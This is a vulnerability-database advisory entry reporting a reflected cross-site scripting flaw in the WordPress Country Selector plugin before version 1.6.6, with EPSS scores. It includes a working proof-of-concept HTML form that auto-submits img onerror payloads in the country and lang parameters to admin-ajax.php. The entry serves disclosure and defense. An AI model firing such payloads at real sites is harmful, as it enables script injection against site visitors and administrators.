Lucene search

K
wpexploitWpvulndbWPEX-ID:6C5A4BCE-6266-4CFC-BC87-4FC3E36CB479
HistoryApr 20, 2022 - 12:00 a.m.

Country Selector < 1.6.6 - Reflected Cross-Site Scripting

2022-04-2000:00:00
wpvulndb
83
cross-site scripting
country selector
html form
security exploit
post method
alert message

EPSS

0.001

Percentile

37.9%

The plugin does not sanitise and escape the country and lang parameters before outputting them back in the response, leading to a Reflected Cross-Site Scripting

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php?action=check_country_selector" method="POST">
      <input type="hidden" name="country" value="<img+src=x+onerror=alert(/XSS-country/)>" />
      <input type="hidden" name="lang" value="<img+src=x+onerror=alert(/XSS-lang/)>" />
      <input type="hidden" name="site_locate" value="en-US" />
    </form>
  </body>
</html>

EPSS

0.001

Percentile

37.9%

Related for WPEX-ID:6C5A4BCE-6266-4CFC-BC87-4FC3E36CB479